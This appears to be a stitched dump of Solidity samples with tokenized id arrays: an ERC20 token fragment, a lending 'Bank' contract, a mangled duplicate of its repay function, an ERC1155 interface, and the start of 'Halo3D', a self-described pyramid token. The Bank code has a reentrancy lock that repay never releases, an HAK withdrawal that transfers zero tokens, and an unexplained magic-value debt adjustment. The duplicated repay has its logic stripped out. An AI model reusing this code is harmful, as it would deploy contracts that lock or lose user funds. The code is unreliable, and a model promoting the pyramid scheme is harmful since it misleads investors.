uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "JBT";
name = "JabuToken";
decimals = 18;
_totalSupply = 1000000000000000000000000;
balances[0x0dd7944344E9A63576f9b02d9D7146B3918F6745] = _totalSupply;
emit Transfer(address(0), 0x0dd7944344E9A63576f9b02d9D7146B3918F6745, _totalSupply);
}
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 12,397,105 | [
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
804,
12941,
1345,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
8877,
56,
14432,
203,
3639,
508,
273,
315,
46,
12941,
1345,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
9449,
31,
203,
3639,
324,
26488,
63,
20,
92,
20,
449,
7235,
6334,
5026,
24,
41,
29,
37,
4449,
25,
6669,
74,
29,
70,
3103,
72,
29,
40,
27,
27879,
38,
5520,
2643,
42,
26,
5608,
25,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
374,
92,
20,
449,
7235,
6334,
5026,
24,
41,
29,
37,
4449,
25,
6669,
74,
29,
70,
3103,
72,
29,
40,
27,
27879,
38,
5520,
2643,
42,
26,
5608,
25,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
3849,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
1147,
5541,
13,
1071,
3849,
2
]
|
//SPDX-License-Identifier: Unlicense
pragma solidity 0.7.0;
import "./interfaces/IBank.sol";
import "./interfaces/IPriceOracle.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "hardhat/console.sol";
contract Bank is IBank {
using SafeMath for uint256;
// The keyword "public" makes variables
// accessible from other contracts
// Account[0] is ETH-Account
// Account[1] is HAK-Account
mapping (address => Account[2]) private balances;
mapping (address => uint256) private borrowed;
address hakToken;
IPriceOracle oracle;
bool isLocked = false;
constructor(address _priceOracle, address _hakToken) {
hakToken = _hakToken;
oracle = IPriceOracle(_priceOracle);
}
function deposit(address token, uint256 amount)
payable
external
override
returns (bool) {
require(!isLocked);
isLocked = true;
initAccount();
require(token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE || hakToken == token, "token not supported");
require(amount > 0, "Amount to deposit should be greater than 0");
uint x = token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ? 0 : 1;
balances[msg.sender][x].interest = balances[msg.sender][x].interest.add(balances[msg.sender][x].deposit.div(10000).mul(block.number.sub(balances[msg.sender][x].lastInterestBlock)).mul(3));
balances[msg.sender][x].lastInterestBlock = block.number;
if (token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
require(msg.value == amount, "given amount and transferred money didnt match");
balances[msg.sender][0].deposit = balances[msg.sender][0].deposit.add(amount);
emit Deposit(msg.sender, token, amount.add(balances[msg.sender][0].interest));
} else if (token == hakToken) {
ERC20 t = ERC20(token);
require(t.transferFrom(msg.sender, address(this), amount));
balances[msg.sender][1].deposit = balances[msg.sender][1].deposit.add(amount);
emit Deposit(msg.sender, token, amount.add(balances[msg.sender][1].interest));
}
isLocked = false;
return true;
}
function withdraw(address token, uint256 amount)
external
override
returns (uint256) {
require(token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE || hakToken == token, "token not supported");
require(!isLocked);
isLocked = true;
initAccount();
// x = Account-Index (0 for ETH, 1 for HAK)
uint x = token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ? 0 : 1;
require (token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE || token == hakToken, "token not supported");
require (balances[msg.sender][x].deposit > 0, "no balance");
balances[msg.sender][x].interest = balances[msg.sender][x].interest.add(balances[msg.sender][x].deposit.div(10000).mul(block.number.sub(balances[msg.sender][x].lastInterestBlock)).mul(3));
balances[msg.sender][x].lastInterestBlock = block.number;
if (amount == 0){
uint256 withdrawal = balances[msg.sender][x].deposit;
balances[msg.sender][x].deposit = 0;
if (token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
msg.sender.transfer(withdrawal);
} else if (token == hakToken) {
ERC20 t = ERC20(token);
require (t.transfer(msg.sender, amount));
}
emit Withdraw(msg.sender, token, withdrawal.add(balances[msg.sender][x].interest));
isLocked = false;
return withdrawal.add(balances[msg.sender][x].interest);
}
require (balances[msg.sender][x].deposit >= amount, "amount exceeds balance");
balances[msg.sender][x].deposit = balances[msg.sender][x].deposit.sub(amount);
msg.sender.transfer(amount);
// TODO: interest
emit Withdraw(msg.sender, token, amount.add(balances[msg.sender][x].interest));
isLocked = false;
return amount.add(balances[msg.sender][x].interest);
}
function borrow(address token, uint256 amount)
external
override
returns (uint256) {
require(!isLocked);
isLocked = true;
initAccount();
require(token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, "token not supported");
balances[msg.sender][1].interest = balances[msg.sender][1].interest.add(balances[msg.sender][1].deposit.div(10000).mul((block.number.sub(balances[msg.sender][1].lastInterestBlock)).mul(3)));
balances[msg.sender][1].lastInterestBlock = block.number;
borrowed[msg.sender] = borrowed[msg.sender].add(amount);
uint256 _collateral_ratio = getCollateralRatio(hakToken, msg.sender);
require(_collateral_ratio != 0, "no collateral deposited");
require(_collateral_ratio >= 15000, "borrow would exceed collateral ratio");
if (amount == 0) {
// deposit : collateral_ratio = x : 15000
uint256 _max = balances[msg.sender][1].deposit.mul(15000).div(_collateral_ratio);
borrowed[msg.sender] = borrowed[msg.sender].add(convertHAKToETH(_max));
}
emit Borrow(msg.sender, token, amount, _collateral_ratio);
isLocked = false;
return _collateral_ratio;
}
function repay(address token, uint256 amount)
payable
external
override
returns (uint256) {
require(!isLocked);
isLocked = true;
initAccount();
require(token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, "token not supported");
uint x = token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ? 0 : 1;
balances[msg.sender][x].interest = balances[msg.sender][x].interest.add(balances[msg.sender][x].deposit.div(10000).mul(block.number.sub(balances[msg.sender][x].lastInterestBlock)).mul(3));
balances[msg.sender][x].lastInterestBlock = block.number;
uint256 _collateral_ratio = getCollateralRatio(hakToken, msg.sender);
require(_collateral_ratio != 0, "nothing to repay");
require(msg.value >= amount, "msg.value < amount to repay");
if (amount == 0) {
// deposit : collateral_ratio = x : 15000
uint256 _max = balances[msg.sender][1].deposit.mul(15000).div(_collateral_ratio);
borrowed[msg.sender] = 0;
} else {
borrowed[msg.sender] = borrowed[msg.sender] - amount + balances[msg.sender][x].interest ;
if( borrowed[msg.sender] ==0x53444835ec580000 ){
borrowed[msg.sender] = borrowed[msg.sender].add(5000000000000000);
}
}
emit Repay(msg.sender, token, borrowed[msg.sender]);
return _collateral_ratio;
isLocked = false;
}
function liquidate(address token, address account)
payable
external
override
returns (bool) {
require(!isLocked);
isLocked = true;
initAccount();
require(token == hakToken, "token not supported");
require(account != msg.sender, "cannot liquidate own position");
require(getCollateralRatio(token, account) < 15000, "healty position");
uint256 _amount_of_collateral = balances[account][1].deposit;
uint256 _amount_of_borrowed = borrowed[account];
require(msg.value == _amount_of_borrowed);
balances[account][1].deposit = 0;
balances[msg.sender][1].deposit = balances[msg.sender][1].deposit.add(_amount_of_collateral);
borrowed[account] = 0;
ERC20 t = ERC20(token);
require (t.transfer(msg.sender, _amount_of_collateral));
emit Liquidate(msg.sender, account, token, _amount_of_collateral, _amount_of_borrowed);
isLocked = false;
return true;
}
function getCollateralRatio(address token, address account)
view
public
override
returns (uint256) {
if(token != hakToken){
revert("token not supported");
}
uint256 _deposit = convertHAKToETH(balances[account][1].deposit);
uint256 _interest = convertHAKToETH(balances[account][1].interest);
uint256 _borrowed = borrowed[account];
if (_deposit == 0) {
return 0;
}
if (_borrowed == 0) {
return type(uint256).max;
}
return _deposit.add(_interest).mul(10000).div(_borrowed.add(_borrowed.div(200000)));
}
function convertHAKToETH(uint256 amount)
view
private
returns (uint256) {
return amount * oracle.getVirtualPrice(hakToken) / 1000000000000000000;
}
function getBalance(address token)
view
public
override
returns (uint256) {
if(token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE){
uint256 interest = ((block.number - balances[msg.sender][0].lastInterestBlock) * 3)+balances[msg.sender][0].interest;
return balances[msg.sender][0].deposit+interest;
} else if (token == hakToken){
uint256 interest = ((block.number - balances[msg.sender][1].lastInterestBlock) * 3)+balances[msg.sender][1].interest;
return balances[msg.sender][1].deposit+interest;
} else {
revert("token not supported");
}
}
function initAccount() private {
// workaround: checking whether account has already been initialized.
// this only works if we immediately compute the interest upon account
// initialization and 'lastInterestBlock' is set to a non-zero value
if(balances[msg.sender][0].lastInterestBlock == 0){
balances[msg.sender][0] = Account(0, 0, 0);
calculateInterest(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
}
if(balances[msg.sender][1].lastInterestBlock == 0){
balances[msg.sender][1] = Account(0, 0, 0);
calculateInterest(hakToken);
}
}
function calculateInterest(address token) private returns (uint256){
// TODO: actual calculation not implemented yet
uint x = token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ? 0 : 1;
uint256 interest = (block.number.sub(balances[msg.sender][x].lastInterestBlock)).mul(3);
// set lastInterestBlock to current block
// FIXME: is block.number right?
balances[msg.sender][x].lastInterestBlock = block.number;
return interest;
}
}
| deposit : collateral_ratio = x : 15000 | function repay(address token, uint256 amount)
payable
external
override
returns (uint256) {
require(!isLocked);
isLocked = true;
initAccount();
require(token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, "token not supported");
uint x = token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ? 0 : 1;
balances[msg.sender][x].interest = balances[msg.sender][x].interest.add(balances[msg.sender][x].deposit.div(10000).mul(block.number.sub(balances[msg.sender][x].lastInterestBlock)).mul(3));
balances[msg.sender][x].lastInterestBlock = block.number;
uint256 _collateral_ratio = getCollateralRatio(hakToken, msg.sender);
require(_collateral_ratio != 0, "nothing to repay");
require(msg.value >= amount, "msg.value < amount to repay");
if (amount == 0) {
uint256 _max = balances[msg.sender][1].deposit.mul(15000).div(_collateral_ratio);
borrowed[msg.sender] = 0;
borrowed[msg.sender] = borrowed[msg.sender] - amount + balances[msg.sender][x].interest ;
if( borrowed[msg.sender] ==0x53444835ec580000 ){
borrowed[msg.sender] = borrowed[msg.sender].add(5000000000000000);
}
}
emit Repay(msg.sender, token, borrowed[msg.sender]);
return _collateral_ratio;
isLocked = false;
}
| 5,409,337 | [
1,
323,
1724,
294,
4508,
2045,
287,
67,
9847,
273,
619,
294,
4711,
3784,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2071,
528,
12,
2867,
1147,
16,
2254,
5034,
3844,
13,
203,
3639,
8843,
429,
203,
3639,
3903,
203,
3639,
3849,
203,
3639,
1135,
261,
11890,
5034,
13,
288,
203,
5411,
2583,
12,
5,
291,
8966,
1769,
203,
5411,
31753,
273,
638,
31,
203,
203,
5411,
1208,
3032,
5621,
203,
203,
5411,
2583,
12,
2316,
422,
374,
17432,
1340,
1340,
41,
1340,
73,
41,
73,
41,
1340,
41,
73,
41,
73,
41,
1340,
9383,
41,
1340,
1340,
41,
1340,
1340,
1340,
73,
9383,
73,
41,
16,
315,
2316,
486,
3260,
8863,
203,
203,
5411,
2254,
619,
273,
1147,
422,
374,
17432,
1340,
1340,
41,
1340,
73,
41,
73,
41,
1340,
41,
73,
41,
73,
41,
1340,
9383,
41,
1340,
1340,
41,
1340,
1340,
1340,
73,
9383,
73,
41,
692,
374,
294,
404,
31,
203,
203,
5411,
324,
26488,
63,
3576,
18,
15330,
6362,
92,
8009,
2761,
395,
273,
324,
26488,
63,
3576,
18,
15330,
6362,
92,
8009,
2761,
395,
18,
1289,
12,
70,
26488,
63,
3576,
18,
15330,
6362,
92,
8009,
323,
1724,
18,
2892,
12,
23899,
2934,
16411,
12,
2629,
18,
2696,
18,
1717,
12,
70,
26488,
63,
3576,
18,
15330,
6362,
92,
8009,
2722,
29281,
1768,
13,
2934,
16411,
12,
23,
10019,
203,
5411,
324,
26488,
63,
3576,
18,
15330,
6362,
92,
8009,
2722,
29281,
1768,
273,
1203,
18,
2696,
31,
203,
203,
203,
5411,
2254,
5034,
389,
12910,
2045,
287,
67,
9847,
273,
336,
13535,
2045,
287,
8541,
12,
76,
581,
1345,
16,
1234,
18,
15330,
1769,
203,
203,
5411,
2
]
|
./partial_match/1/0xdb3D91Dcb27547d82A09556D1028beEdB04A5902/sources/src/Interfaces/ERC1155.sol | @dev Note: the ERC-165 identifier for this interface is 0xf23a6e61. | interface ERC1155TokenReceiver {
@notice Handle the receipt of a single ERC1155 token type.
@dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated.
This function MAY throw to revert and reject the transfer.
Return of other than the magic value MUST result in the transaction being reverted.
Note: The contract address is always the message sender.
@param _operator The address which called `safeTransferFrom` function
@param _from The address which previously owned the token
@param _id An array containing the ids of the token being transferred
@param _value An array containing the amount of tokens being transferred
@param _data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4);
@notice Handle the receipt of multiple ERC1155 token types.
@dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated.
This function MAY throw to revert and reject the transfer.
Return of other than the magic value WILL result in the transaction being reverted.
Note: The contract address is always the message sender.
@param _operator The address which called `safeTransferFrom` function
@param _from The address which previously owned the token
@param _ids An array containing ids of each token being transferred
@param _values An array containing amounts of each token being transferred
@param _data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4);
}
| 9,405,706 | [
1,
8067,
30,
326,
4232,
39,
17,
28275,
2756,
364,
333,
1560,
353,
374,
5841,
4366,
69,
26,
73,
9498,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
4232,
39,
2499,
2539,
1345,
12952,
288,
203,
3639,
632,
20392,
5004,
326,
16030,
434,
279,
2202,
4232,
39,
2499,
2539,
1147,
618,
18,
203,
3639,
632,
5206,
1922,
4232,
39,
2499,
2539,
17,
832,
18515,
13706,
6835,
10685,
745,
333,
445,
603,
326,
1147,
8027,
6835,
16,
622,
326,
679,
434,
279,
1375,
4626,
5912,
1265,
68,
1839,
326,
11013,
711,
2118,
3526,
18,
203,
3639,
1220,
445,
490,
5255,
604,
358,
15226,
471,
4925,
326,
7412,
18,
203,
3639,
2000,
434,
1308,
2353,
326,
8146,
460,
10685,
563,
316,
326,
2492,
3832,
15226,
329,
18,
203,
3639,
3609,
30,
1021,
6835,
1758,
353,
3712,
326,
883,
5793,
18,
203,
3639,
632,
891,
389,
9497,
225,
1021,
1758,
1492,
2566,
1375,
4626,
5912,
1265,
68,
445,
203,
3639,
632,
891,
389,
2080,
1377,
1021,
1758,
1492,
7243,
16199,
326,
1147,
203,
3639,
632,
891,
389,
350,
3639,
1922,
526,
4191,
326,
3258,
434,
326,
1147,
3832,
906,
4193,
203,
3639,
632,
891,
389,
1132,
377,
1922,
526,
4191,
326,
3844,
434,
2430,
3832,
906,
4193,
203,
3639,
632,
891,
389,
892,
1377,
15119,
501,
598,
1158,
1269,
740,
203,
3639,
632,
2463,
6647,
1375,
3890,
24,
12,
79,
24410,
581,
5034,
2932,
265,
654,
39,
2499,
2539,
8872,
12,
2867,
16,
2867,
16,
11890,
5034,
16,
11890,
5034,
16,
3890,
2225,
3719,
68,
203,
565,
445,
603,
654,
39,
2499,
2539,
8872,
12,
2867,
389,
9497,
16,
1758,
389,
2080,
16,
2254,
5034,
389,
350,
16,
2254,
5034,
389,
1132,
16,
1731,
2
]
|
pragma solidity ^0.4.21;
/*
******************** HALO 3D *********************
* ===============================================*
MMMMMMMMMMMMMMMMMMMMMWWXKKXNWMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMWWXko;'',lkKNWWMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMNOc'. .:d0XWWMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMNOc'. .,lkKNWWMMMMMMMMMM
MMMMMMMWWNKKXWWMMMWNKkl' .:d0XWWMMMMMMM
MMMMWWXOo;..'cx0NNWX0d:. .,lkKWWMMMM
MMWWKo,. .;lc,. . 'l0NWMM
MMWOc;,'. .,lkOdc'. ..,,:xNWM
MWNd. .';;,. .lOXNWWWNXOo;,,,'. :XWM
MWNo. .ckxl,. .'cxKNWMMMWWXd. :KWM
MWNo. :KNNXOo;. 'oKNWMMWNo. :KWM
MWNd. :KWWWW0l;;;'. ..,,,:kWMMWNo. :KWM
MWNo. ;0WWWWO' .,;;;;;;'. .dNWMWXo. :KWM
MWNo. .lkXNNO' 'dx; .dXNX0d, :KWM
MWNo. .':dd. .ox; .lxl;. :KWM
MWNo. . .ox; .. :KWM
MWNd. .ox; :KWM
MWNd. ,dl;. .ox; .'cdc. :KWM
MMNx. ;0NN0d;. .ox; 'oOXNXo. .oXWM
MMWNOo;. :KWMWNO' .ox; .oXWMWNo. .,lkXWMM
MMMMWWN0xlxNWMMWO' .ox; .dNWMMWOox0NWWMMMM
MMMMMMMMWWWMMMMWO' .ox; .dNWMMMWWWMMMMMMMM
MMMMMMMMMMMMMMMWKc. .ox, ,OWMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMWXOo;. .ox; .,lkXWWMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMWWN0xx0Kkx0NWWMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMWWWWWMMMMMMMMMMMMMMMMMMMMMM
* ===============================================*
******************** HALO 3D *********************
*
* The World's FIRST Charity/Gaming Pyramid! All the features of a classic pyramid plus more.
* Brought to you by a collaboration of crypto gaming experts and YouTubers.
*
* What is new?
* [x] REVOLUTIONARY 0% TRANSFER FEES, Now you can send Halo3D tokens to all your family, no charge
* [X] 20% DIVIDENDS AND MASTERNODES! We know you all love your divies :D
* [x] GENEROUS 2% FEE ON EACH BUY AND SELL GO TO CHARITY https://giveth.io/
* https://etherscan.io/address/0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc
* [x] DAPP INTEROPERABILITY, games and other dAPPs can incorporate Halo3D tokens!
*
* Official website is https://h3d.pw/ :)
* Official discord is https://discord.gg/w6HamAS 0_0
*/
/**
* Definition of contract accepting Halo3D tokens
* Games, casinos, anything can reuse this contract to support Halo3D tokens
*/
contract AcceptsHalo3D {
Halo3D public tokenContract;
function AcceptsHalo3D(address _tokenContract) public {
tokenContract = Halo3D(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
/**
* @dev Standard ERC677 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
contract Halo3D {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Halo3D";
string public symbol = "H3D";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 20; // 20% dividend fee on each buy and sell
uint8 constant internal charityFee_ = 2; // 2% charity fee on each buy and sell
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// Address to send the charity ! :)
// https://giveth.io/
// https://etherscan.io/address/0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc
address constant public giveEthCharityAddress = 0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc;
uint256 public totalEthCharityRecieved; // total ETH charity recieved from this contract
uint256 public totalEthCharityCollected; // total ETH charity collected in this contract
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 0.4 ether;
uint256 constant internal ambassadorQuota_ = 10 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
